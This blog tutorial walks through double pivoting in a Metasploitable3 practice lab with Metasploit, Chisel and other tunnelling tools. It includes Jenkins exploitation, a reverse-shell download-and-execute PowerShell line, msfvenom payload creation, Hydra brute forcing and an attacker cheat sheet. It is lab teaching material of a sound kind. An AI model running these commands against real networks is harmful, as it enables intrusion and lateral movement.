Double Pivoting | Metasploit and Manual Pivoting

Pivoting and Port forwarding is not often an easy concept or subject to understand. I am by no means an expert however with this demonstration there is hope that the concept is a little easier to digest.

by Johann Van Niekerk

Double Pivoting | Metasploit and Manual Pivoting

Share

πŸ’‘
Disclaimer: All topics discussed are intended solely for research purposes and not intended or endorsed for illegal activity.

Inspiration for this post recently came about when discussing pivoting and portforwarding techniques followed by numerous hours of research about different tools and methods to reach an internal host that is normally not accessible at all. Then trying to go even deeper and pivot once more.

Hopefully this is helpful for someone to understand the technique involved; This demonstration will utilise the Metasploit method to pivot and the manual method using Chisel. The overall concept will apply to other 3rd-party tools but with different syntax.

The Manual method will also be covering dynamic port forwarding so that exploring the internal network is easier rather than having to port forward each individual port (80, 22, 21, 8080 etc) then rinse and repeat.

Pivoting

Trafficking illegal traffic

Target Network Report

Name of Target:

Pivot Practice - Metasploitable3 Setup

Note: Be aware that this is a practice lab setup with a total of three virtual machines running with the metasploitable-3 configurations that contain numerous amounts of exploitation vectors. The scanning and information provided will show Β a large number of vulnerabilities however the aim of this blog is to showcase the tools used for pivoting around a network and not focusing on the exploitation as much.

Note: There is a degree of assumption within this post that expects the basics of routers, networking, and so forth, is already familiar and the following content assisting with understanding the pivoting side of it only.

What is Pivoting

The process of assessing a network through the 'eyes' of a compromised system. The concept is to move laterally across a network until being able to find further information, privileges or access to additional systems. For security through obscurity to work; the idea is to have hidden networks that only communicate with other networks on a needs-basis. The security involves the fact that the network in it's entirety, is not accessible for all hosts. Thereby the network is divided into segments that only communicate with other networks that it is allowed to. (With large networks, given the large number of hosts and being restricted by network size, it becomes a logistical issue and not only a security decision.)

Why Pivot

The requirement for pivoting is to allow the lateral movement across a network to find more information, more vulnerabilities, more networks and hosts. Due to the restrictions for when communicating between networks from the [attackers' machine], then pivoting is required to access systems that are outside of the [attackers' network]. The following has an example whereby the attacker is able to compromise a machine (172.16.0.11) within the same network 172.16.0.0. Have access to this machine (172.16.0.11), the attacker has gathered info that this particular host has two network interfaces that allows it to have connection to two networks. This machine can access the networks 172.16.0.0 AND network 7.7.7.0.

By using the compromised machine as a base of operations; now the attacks can reach the new network.

Stop Pivoting?

The majority of mitigation for pivoting is going to rely on the network being hardened, monitored as well as the systems being protected from exploitation and vulnerabilities. This is easier said than done; the main problem with pivoting comes from that initial compromise of a machine and the attacker being able to freely gather information from that point.

Secondly, ensuring systems with multiple Network Interface Cards are inspected and their connections understood; avoiding where possible Multiple connections between the DMZ and the existing internal network or trusted network.

Lastly, systems in the DMZ structure should only be accessed over DMZ structures.

Subnets and System Overview

In this current environment there are 3 subnets containing the following players:

  1. 192.168.88.133 (Attacker-133)
  2. 192.168.88.137 (Victim-137) has 2 network interfaces with access to network 10.0.10.0/24
  3. 10.0.10.9 (Victim-10-9) has 2 network interfaces with access to network 10.0.32.0/24
  4. 10.0.32.9 (Victim-32-9)

Each machine can only communicate by linked interfaces to the respective networks, i.e interface 1-1, 2-2, 3-3 and so on.

Attacker

Machine 2

Machine3

Machine 4

In order to demonstrate the pivoting; we are moving in the order above:
Attacker-133 attacks Victim-137 for control
Using Victim-137 Β to attack Victim-10-9 Β for control
Using Victim-10-9 to attack Victim-32-9

Operating systems:

System Enumeration

Metasploit Pivoting

In order to show tools used to practice pivoting; understand that all 3 target systems are running a vulnerable configuration known as metasploitable 3. This configuration is for research purposes and provided by Rapid7/Metasploit for showcasing the tool and various exploitation methods.

With that being said, to illustrate pivoting then it is only suitable to begin with the Metasploit method and the proceed with the manual method to illustrate a 3rd-party tool Chisel.

Finally, as the content is to show pivoting and not focusing on exploitation; the following information will only exploit one vulnerability: a vulnerable Jenkins webapp.

Attacker-133 to Victim-137

NMAP SCAN: 192.168.88.137

# NMAP SCAN
PORT      STATE SERVICE              VERSION
21/tcp    open  ftp                  Microsoft ftpd
22/tcp    open  ssh                  OpenSSH 7.1 (protocol 2.0)
80/tcp    open  http                 Microsoft IIS httpd 7.5
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds         Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
8484/tcp  open  http                 Jetty winstone-2.8

Within the first network 192.168.88.0/24 lies the two hosts, Attacker and Victim. Through scanning the first target it is uncovered that there is an open http port 8484 that is hosting a Jenkins CMS. When navigating to this page; it automatically logs the user in without authentication required and allows admin access. This is the first vulnerability that will be exploited to get access to the victim.

Jenkins has two methods in order to compromise and exploit for a reverse shell: Manually or Metasploit. As this instruction is for the Metasploit pivoting demonstration; This will showcase the Metasploit method below.

Jenkins Metasploit Method

#Msfconsole, Victim-137
    exploit/multi/http/jenkins_script_console
    set rhost 192.168.88.137                        :Victim-137
    set rport 8484                                  :Jenkins running on 8484
    set lhost 192.168.88.133                        :Attacker-133
    set lport 4444                                  :Choose any port number
    set payload windows/meterpreter/reverse_tcp     :Keep this in mind as a reverse shell. We will revisit this
    #Results=Shell

This payload through Metasploit end up taking advantage of the vulnerable Jenkins webpage and in return, the attacker receives a reverse shell thereby compromising the first victim.

Victim-137 to Victim-10-9

Through enumeration and checking network interfaces; it is possible to uncover a hidden network that was previously unreachable. The current compromised machine is Victim-137 and ifconfig shows that it contains a 2nd network interface with the ip 10.0.10.8 meaning there is a network 10.0.10.0/24 that is hidden and not accessible by the attacker.

In order to understand better, it is important to highlight that the Victim-137 has the Network Interface with IP 192.168.88.137 (Same network as attacker) and Network Interface with IP 10.0.10.8 (same network as another victim but not accessible by attacker).

Any attempts to scan the network from Attacker-133 ends up failing due to not having a direct connection to the network 10.0.10.0/24; Attacker-133 is only able to communicate within the 192.168.88.0/24 network. The next step is to use the victim as the attacking machine by having it relay our connection with a tunnel and port forwarding. Metasploit and meterpreter is easy in that the modules available will allow enumeration on the hidden network by using the existing connection as a tunnel.

Exploring the network

While having an active Metasploit session on the first target, It is possible to then explore the network that victim-137 has access to on 10.0.10.0/24.

#Arp Scan
    post/windows/gather/arp_scanner
        set rhosts 10.0.10.0/24          :hidden network
        set session 1                    :Set the session that already contains a shell, the compromised victim-137

The ARP scan will send gratuitous ARP requests and waits for replies to map the networked machines. This technique returns with hosts that replied and apart from the victim-137's ip address, ARP scanner has also found another target 10.0.10.9, or known as Victim-10-9.

Similarly with ARP scan, Metasploit also is able to enumerate ports by running the traffic through victim-137 using a TCP scanner and find out which ports are open.

#TCP Scan
    auxiliary/scanner/portscanner/tcp
        set rhost 10.0.10.9                   :Victim-10-9
        set ports 21,22,8484

TCP Scan returns with information showing the ports are open or closed. For this demonstration the main port to focus on is 8484 as that will contain the Jenkins configuration that is on the 2nd victim as well. (Recall that this is a pivoting exercise so the same exploit is being used but on different victims).

The information gathered is a little less appealing due to not knowing the details of the ports running on the internal victim. In order to be able to have Kali tools' traffic route through the compromised machine (like a tunnel) then the next step is to setup the routes for connection.

Routing to Victim-137 Network and getting access to 10.0.10.0/24

To ensure our Metasploit modules and traffic is routed correctly through the victim, there is a couple of routes and port forwarding required to access the content. First setup the route in order for the traffic to reach the new network via the open Metasploit session that is already established.

#Msfconsole
    route add 10.0.10.0/24 2             :ip_address session_id

After the route is setup, then a SOCKS proxy will be required to get the attackers' tools to reach the targets on 10.0.10.0/24 network.

Proxy tools through Proxychains

It is important to note: the routing with autoroute or route add that has been done within the Metasploit framework only works for modules within that framework and not external tools. But when trying to reach the target with Kali (Attacker) tools, it requires setups with tools like port forwarding and proxychains. In order to accomplish this; it requires a SOCKS server to be setup within Metasploit to have the tools and connections use the active Metasploit session on the initial compromised victim.

#Setup SOCKS proxy that will use Metasploit to route traffic
    auxiliary/server/socks_proxy
        set srvhost 192.168.88.133              :Optional, can leave it as localhost, 0.0.0.0 or 127.0.0.1
        set version 4a
        set srvport 1080

#vim /etc/proxychains4.conf
    amend document to include 192.168.88.133 1080

#Proxychains usage
    proxychains nmap -sT -Pn -n -p21,22,8484 10.0.10.9 -sV            :Here we set target 10.0.10.9, proxychains will go through socks proxy and have connection to through metasploit session

With the SOCKS proxy setup, now when any traffic is sent to the target through Proxy chains, it will travel from 10.0.10.9 >> proxychains setting localhost:1080 >> through SOCKS proxy Metasploit module >> through Metasploit session >> reaching destination 10.0.10.9.

Now the attackers' capabilities is enhanced as this allows sophisticated scanning to uncover even more important information. If the attacker wants to access a specific port and its content (such as a webservice) then portfwd will allow the content to be accessible locally on the attackers machine.

Port Forwarding & Access to the Content

As mentioned, there is a webapp service running Jenkins on port 8484. The following will do port forwarding through Metasploit so that the content on that end is accessible locally on the attackers browser.

#Msfconsole
    portfwd add -l 2323 -p 8484 -r 10.0.10.9          :-l selected_port -p target_port -r target_ip

The above rule will add a port of your choice (2323) to listen for traffic locally and send the traffic through the established proxy sessions.

With the routing and portfwd, it is now possible to access the hidden network content (specifically port 8484 in this instance) on a local browser.
Now the contents on port 8484 on the victim is accessible locally by browsing to localhost:2323.

With access to this hidden networks' webpage, it is possible to enumerate and exploit in various ways.

Exploit the New Remote System

#Msfconsole, victim-10-9
    exploit/multi/http/jenkins_script_console
        set rhost 10.0.10.9                      :Victim-10-9
        set srvhost 10.0.10.9                    
        set lport 4445                           :Our existing shell is running through our port 4444, so we need a new port
        set payload windows/meterpreter/bind_tcp :VERY IMPORTANT, unable to use a reverse shell and must be bind shell

It is possible to perform the same manner of exploiting as the traffic is now routed to the new network. Important to note that the attacker will need to use a new listening port as the previous exploit is still using port 4444 and even more importantly: victim-10-9 is not in the same network as the attacker; the double-sided routing is not defined so the victim-10-9 is unable to reach out to the attacker to establish connection outbound themselves.

From the victim-10-9's perspective, it can only outbound communicate within their bubble. It doesn't have a method to call out to the attackers bubble. Thus because the attacker has access to the victims bubble; The attacker can only establish the connection directly to the victim with a bind shell and not a reverse shell.

This results in the exploitation going from attacker-133 to victim-137 (has network ip 10.0.10.8 in hidden network) and now finally victim-10-9 is compromised.

Victim-10-9 to Victim-32-9

From here, Β it is possible to find if there are any further hidden networks and indeed another hidden network 10.0.32.0/24 is uncovered to the attacker. So the 2nd Victim has two network interfaces as well and is joined into two networks.

In order to understand it is important to highlight that the Victim-10-9 has the Network Interface with IP 10.0.10.9 and Network Interface with IP 10.0.32.8 (same network as the 3nd victim but not accessible by attacker or the first victim).

As before, in order for the modules to work as required with the new network; it is back to routing and port forwarding.

Routing/port forwarding to Victim-32-9

#Msfconsole
    route add 10.0.32.0/24 4              :network_ip/24 session_id

Using Arp scan for uncovering another host 10.0.32.9 and TCP scan uncovering open ports. It is now possible to pivot traffic and get ready to exploit the final 3rd victim-31-9

Depending on what port is interesting and ideal to compromise such as another port 8484 or a SQL server, then adding another portfwd rule will allow the attacker to access the content with local tools.

Proxychains once again...

Again Proxychains will be useful in order to enumerate and exploit the hidden machine network.

Note:

#Setup SOCKS proxy that will use Metasploit to route traffic
    auxiliary/server/socks_proxy
        set srvhost 192.168.88.133              :Optional, can leave it as localhost, 0.0.0.0 or 127.0.0.1
        set version 4a
        set srvport 1081                        :Amended to port 1081 for new proxy server

#Edit /etc/proxychains4.conf
    echo '192.168.88.133 1081' > /etc/proxychains4.conf           :Note there will be 2 entries, port 1080 and port 1081 (separate lines)

#Proxychains usage
    proxychains nmap -sT -Pn -n -p21,22,8484 10.0.32.9 -sV            :Here we set target 10.0.10.9, proxychains will go through socks proxy and have connection to through metasploit session

With the final host being exposed and enumerated, it is possible to exploit and gain access through the pivoting chain created. For example exploiting SSH with brute forcing and then connecting to the internal host via SSH

#Hydra bruteforce through proxychains
	proxychains hydra -l vagrant -P darkweb2017-top10.txt 10.0.32.9 ssh -u -V -I

#Connect to victim
	proxychains ssh vagrant@10.0.32.9

Manual Pivoting With Chisel

This demonstration will follow the exact path as the previous 'Metasploit Pivoting' with the difference being manual exploitation, pivoting and a lot of patience.

Attacker-133 to Victim-137

NMAP SCAN: 192.168.88.137

# NMAP SCAN
PORT      STATE SERVICE              VERSION
21/tcp    open  ftp                  Microsoft ftpd
22/tcp    open  ssh                  OpenSSH 7.1 (protocol 2.0)
80/tcp    open  http                 Microsoft IIS httpd 7.5
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds         Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
8484/tcp  open  http                 Jetty winstone-2.8

Within the first network 192.168.88.0/24 lies the two hosts, Attacker and Victim. Through scanning the first target it is uncovered that there is an open http port 8484 that is hosting a Jenkins CMS. When navigating to this page; it automatically logs the user in without authentication required and allows admin access. This is the first vulnerability that will be exploited to get access to the victim.

Jenkins has two ways in order to execute commands for a reverse shell:

The below will just use the Build execution to demonstrate the pivoting content.
In order to exploit Jenkins here, select to create new project, Free style build and the details do not matter. The only option that matters is the Build Step at the very bottom.

Through general enumeration it is assumed that the system info has been uncovered with a rough idea on the operating system on the target. As this is a windows machine then either option 'Execute Windows batch command' or 'Execute shell' would work however the former is preferred in this instance. If it was Linux then 'Execute shell' would work.

#Windows Build Payload
    #Build Payload and save locally
        msfvenom -p windows/meterpreter/reverse_tcp lhost=$attacker_ip lport=$attacker_server_port -f exe -o shell.exe
    #Setup Listener for exploit
        msfconsole
        use exploit/multi/handler
        set payload windows/meterpreter/reverse_tcp
        set lhost $attacker_ip
        set lport $your_chosen_server_ip

    #Exploit to meterpreter shell
    powershell.exe Invoke-WebRequest -Uri 'http://192.168.88.133:1234/tmp/shell.exe' -Outfile 'shell.exe'; cmd.exe /c shell.exe;

The above will execute through Jenkins build exploitation and will result in a Meterpreter shell in this instance (too lazy to create new payload) however we are not planning on using Metasploit or Meterpreter features to showcase and demonstrate this path. From the perspective of a CMD Shell, the first thing will be to enumerate the system and in a familiar fashion; discovering the hidden network 10.0.10.0/24.

Victim-137 to Victim-10-9

Here it is seen once more that the Victim has two interfaces that link up two networks with this Victim. Access to the 192.168.88.0/24 network (with the attacker) and the hidden network 10.0.10.0/24.

In order to proceed from here then it is time to set up a SOCKS proxy in order to enumerate the network 10.0.10.0/24. For the manual process here, remember there is no Metasploit sessions to route our traffic; this technique requires the use of 3rd party tools that needs to be transferred onto victim-137. There are a few methods to produce proxy tunnels; in this instance the tool to introduce is Chisel . Chisel allows the attack to port forward and access remote content (i.e web server on port 8484 is forwarded back to Attacker-133 that would otherwise have not been accessible at all by the attacker), and it also allows proxy tunnels for use with tools such as Proxychains.

Following these steps on the appropriate machines will allow the dynamic proxy tunnel to forward the attackers traffic. The first requirement is that the Victim needs to have the Chisel program locally and then by setting up a Server/Client relationship between the Attacker/Victim will allow our traffic to pass through and access the hidden network hosts.

#Transfer Chisel.exe to target
    certutil -urlcache -f http://attacker_ip:attacker_server_port/chisel.exe chisel_name.exe           :[victim machine] Setup your attacker server and transfer chisel.exe to the victim

#Chisel Server Setup
    ./chisel server --host $attacker_ip -p 4444 --socks5 --reverse         :[attacker machine] setup server on port 4444 ready for connection

#Chisel Client Setup
    ./chisel client $attacker_ip:4444 R:1080:socks                         :[Victim] connect to chisel server hosted on port 4444, Reverse socks tunnel setup for port 1080

#Edit proxychains4.conf
    echo 'socks5 127.0.0.1 1080' > /etc/proxychains4.conf                  :[attacker machine] add the proxy entry, note the 'socks5' and proxy connection for '1080'

#Proxychains Usage
    proxychains nmap -sn 10.0.10.0/24
    proxychains nmap -sT -Pn -n -p21,22,8484 10.0.10.9

Note:

In similar fashion to Metasploit, access to the hidden content is available as long as the proxy settings are setup to follow the SOCKS proxy configurations.
By setting up the web browser such as Firefox with the proxy settings SOCKS5 for 127.0.0.1:1080 also allows access to the content of the new hidden network machine.

The preferred method for changing Firefox proxies is Foxyproxy due to ease-of-use however it can be manually entered within the Firefox preferences settings and achieve the same thing. Both methods allow attacker to access the hidden content and it is up to personal preferences about which way it is done:

1. Foxyproxy:

Setting up Proxy type: SOCKS5, IP 127.0.0.1 and Port 1080

2. Firefox Preferences:

Setting up Proxy type: SOCKS5, IP 127.0.0.1 and Port 1080

With this configuration there is access to the webpage that attacker-133 would not normally have access to which is hosted by 10.0.10.9 on port 8484.

After exploitation on the remote hidden victim and once more getting a backdoor shell on the target; the attacker is able to enumerate and discover a second hidden network 10.0.32.0/24

Victim-10-9 to Victim-32-9

The victim has two network interfaces and is joined on both 10.0.10.0/24 and 10.0.32.0/24.

We transfer Chisel onto this compromised host in order to explore the 10.0.32.0/24 network. In order to leapfrog our connection to the network, it is important to understand the setup of the chisel clients & servers leading to being able to send packets to the remote hidden network. The following may explain better how the connections are operating and how to leapfrog and move laterally across many networks:

Chisel Double Pivot Setup

Each machine can only communicate by linked interfaces within their respective networks, i.e Interface 1-1, 2-2, 3-3
Attacker

Machine 2

Machine3

Machine 4

The following is illustrative of the commands we run to route the network but the key concept is that at each Pivot point, in order to move to additional networks requires a Chisel server/client relationship to route the traffic up the chain.

#Attacker 1
    ./chisel server -p 4445 --socks5 --reverse

#Machine 2
    ./chisel client $attacker_ip:4445 R:1080:socks
    ./chisel server -p 2222 --socks5 --reverse

#Machine 3
    ./chisel client $interface_2_machine_2_ip:2222 R:5555:socks

#Tunnel Machine 2
echo 'socks5 127.0.0.1 1080' > /etc/proxychains4.conf              :Connecting to SOCK client 1080
#Tunnel Machine 3
echo 'socks5 127.0.0.1 5555' > /etc/proxychains4.conf              :Connecting to SOCK client 5555

    #Machine 4 now accessible

#Proxychains travel from 127.0.0.1:1080 to 127.0.0.1:5555 to 192.168.59.129
    proxychains nmap -p 80 $machine_4_ip

With that setup it is now possible to scan the network and find the hidden host 10.0.32.9.

With access to the ports and such on the second hidden network and with the chisel tunnel that has been setup; now the attacker has access to the hidden content on the internal-only host that is not normally accessible.

> proxychains firefox 10.0.32.9
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:5555  ...  10.0.32.9:80  ...  OK
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:5555  ...  10.0.32.9:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:5555  ...  10.0.32.9:80  ...  OK

Brain Dump

The following is a brain dump of techniques and tools to perform various Pivoting and Port forwarding that would allow the attacker access to internal content that would be otherwise restricted.

It is not intended to be formatted or explained but rather to allow the different methods to be seen with the syntax involved.

Good luck!

#System
    ping $victim
    ipconfig
    netstat -ano											:[Windows] Active Connections, Listening ports, prevent DNS Resolves
    netstat -auntlp                                         :[Linux]

#Metasploit
    #Proxy Tunnel (e.g for proxychains)
        run autoroute -s $target_ip/24
            or
        route add $target_ip/24 2
        #Edit /etc/proxychains4.conf & Amend Port if required
        use auxiliary/server/socks_proxy
            set version 4a
            set srvport 9050
            run
    #Portforwarding
        portfwd add -l 8071 -p 80 -r 10.55.1.21                                                   :Forwarding all request that hit 8071 onto [victim] port 80
        # Now you can scan localhost
            nmap -sV -p 8071 localhost


#Chisel (Linux/Windows)
    #Transfer Binary to Target
        #Forward
            ./chisel server -p 4444 -reverse                                       :[Attacker] setup
            ./chisel client $attacker:4444 R:$target_port:127.0.0.1:$target_port   :[Victim] run
        
        #Proxy through Victim
            ./chisel server --host $attacker_ip -p 4444 --socks5 --reverse         :[Attacker]
            ./chisel client $attacker_ip:4444 R:1080:socks                         :[Victim]
                #proxychains ...

#Socat (Linux/Windows)
    #Transfer Binary to Target
        #Proxy
            ./socat tcp-listen:8080,bind=$middle_man_ip,fork tcp:$middle_man_ip:$target_port      :[Victim] Ip the intermediary that will forward info onto attacker
            nc -nv $middle_man_ip 8080                                                            :[Attacker] connect to socats listening host:port
        #Forward
            socat -v tcp4-listen:$server_port_9001 tcp4-listen:$local_port_8080                   :[attacker] setup server port 9001 to forward info received to localhost:8080
            socat tcp4:$attacker:$server_port tcp4:localhost:$target_port                         :[victim] creating connection between target port and our server.

#Netcat (Linux)
    #Portforward
        rm -f fifo; mkfifo fifo; nc -v -lk -p 8080 <fifo | nc -v localhost 80> fifo               :[victim] named pipes used to forward content from 80 to listening port 8080
        rm -f fifo; mkfifo fifo; nc -v -lk -p 8080 <fifo | nc 172.16.185.132 8080> fifo           :[attacker] making connection to victim and passing info locally to localhost:8080
    #Proxy Tunnel (e.g for proxychains)
        ncat -vv --listen 3128 --proxy-type http                                                  :[victim]
        sudo echo 'http $target_ip 3128' >> /etc/proxychains4.conf                                :Setup for HTTP proxy


#Netsh (Windows)
    netsh interface portproxy add v4tov4 listenport=$server_port9001 listenaddress=$interesting_ip_to_forward connectport=$target_port connectaddress=127.0.0.1                 :[victim]
    netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1
    netsh interface portproxy add v4tov4 listenport=9090 listenaddress=10.55.1.21 connectport=5985 connectaddress=10.55.1.20                       :[victim] Forward from port 9090 [victim] onto 10.55.1.20 RDP port 5985 (winrm)
    rm -f fifo;mkfifo fifo;nc -v -lk -p $server_port9001 <fifo | nc 192.168.1.38 8080 >fifo                                                        :[attacker] named pipe connecting to the connection feed

#Plink (Windows)
    #Modern Windows comes with built in SSH client by default, but when dealing with older systems, PLINK is very helpful
    service ssh start                                                                     :[attacker] setup ssh service
    #create new test user on attacker machine or generate id_rsa
        ssh-keygen                                                                        :Get valid key, add public key to authorized_keys
        puttygen id_rsa -o output_key.ppk                                                 :Convert private key to puttygen, '.ppk gets transferred to target'.
    #Portforward
        plink.exe -ssh test@$attacker -R 8080:localhost:80
        or
        plink.exe -R 8000:$target_ip:$target_port -i $id_rsa -N
        or
        plink.exe -x -a -T -C -noagent -ssh -pw 'password1' -R 4444:127.0.0.1:$target_interesting_port $windows_ip     :Reverse tunnel [victim], portforward to 4444 and link to interest port such as localhost on port 80 to reach a internal webpage.
    #Chain Example
    #From attacker >> 10.55.1.22 >> 10.55.1.21 >> 10.55.1.20 
        plink.exe -x -a -T -C -noagent -ssh -pw 'password1' -R 4444:127.0.0.1:9090 10.55.1.22                                      :Forward from port 4444 [kali] onto 127.0.0.1:9090
        netsh interface portproxy add v4tov4 listenport=9090 listenaddress=10.55.1.21 connectport=5985 connectaddress=10.55.1.20   :Forward from port 9090 [victim] onto 10.55.1.20 RDP port 5985 (winrm)
        evil-winrm -i 10.55.1.22 -u 'administrator' -p 'hunter2' -P 4444                                                           :Run through tunnel [Attacker].
#SSH
#SSH access to Victim - Local Port Forward, "I want access to remote resources that I can't access i.e Database, RDP"
        #Port Forward
            ssh -L $local_port:$target_ip:$target_port admin@$ssh_ip    : Target_ip 'A different machine, 10.10.10.10 or a localhost port, 127.0.0.1 depending on what the target is'
            ssh -L 4444:127.0.0.1:$target_port admin@10.0.22.69 -fN     :YOU <--- CLIENT, Creates link to local port, Port Forwarding, 
            ssh -L 4444:172.168.3.4:$target_port admin@10.0.22.69       :[Leap frog], using target [10.0.22.69] to port forward another target [172.168.3.4] to us

        #Proxy Tunnel: Local Proxy
            #Useful to Route to target Network such as Proxychains
            #Create proxy into target network 172.168.4.0/24
            ssh -D 1080 admin@$ssh_ip -fN -p $port_if_applicable

            #Example: Forwarding Chain
                #Extend proxy from network into network 10.6.6.0/24, Add to proxychains4.conf port 1090
                    proxychains ssh -D 1090 admin_2@10.6.6.88 -p 2222
                #Access victim within network 10.6.6.0/24 with RDP
                    proxychains rdesktop 10.6.6.88 -u Administrator -p password -g 90%

        #Forwarding Chains
            ssh -A -t -l 192.168.178.28 -L 4444:127.0.0.1:4444 ssh -A -t -l 192.168.178.29 -L 4444:127.0.0.1:4444
            or
            ssh -o 'ProxyCommand=ssh -W %h:%p -q user@192.168.178.28' user@192.168.178.29
            or
            
            ssh user@jumbox1.local 'ssh -D 9999'
        
#NO SSH access to Victim, but have shell - Remote Port Forward, "I want people to access local resources they don't have access to i.e local web server"
        #Setup for password security
            ssh-keygen                                                        :[Attacker machine] generate pub/priv key
            #copy contents of public key .pub to /.ssh/authorized_keys and place on new line
            sudo systemctl status ssh                                         :[Attacker machine] Check is SSH server is runnong
            sudo systemctl start ssh                                          :[Attacker machine] Start if inactive
            #Copy private key to target 
            
        #Port Forward   
            ssh -R $local_port:$target_ip:$target_port hoodie@$attacker_ip -fN    :[Victim Reverse Shell] Used through $victim webshell or reverse shell ('you did not access the victim through SSH credentials, so Local portforwarding not possible')
            ssh -R 4444:10.10.10.10:8080 hoodie@$attacker_ip -i $id_rsa -fN       :

        #Remote Proxy Tunnel: Newer versions of SSH, won't work with older clients
            ssh -R 4444 hoode@$attacker_ip -i $id_rsa -fN                         :Same as Local SSH proxy, if no SSH access yet, then possible to get remote SSH proxy
                
#Access Tunnel i.e
    http://127.0.0.1:4444
    mysql -h 127.0.0.1 -P 4444 -u admin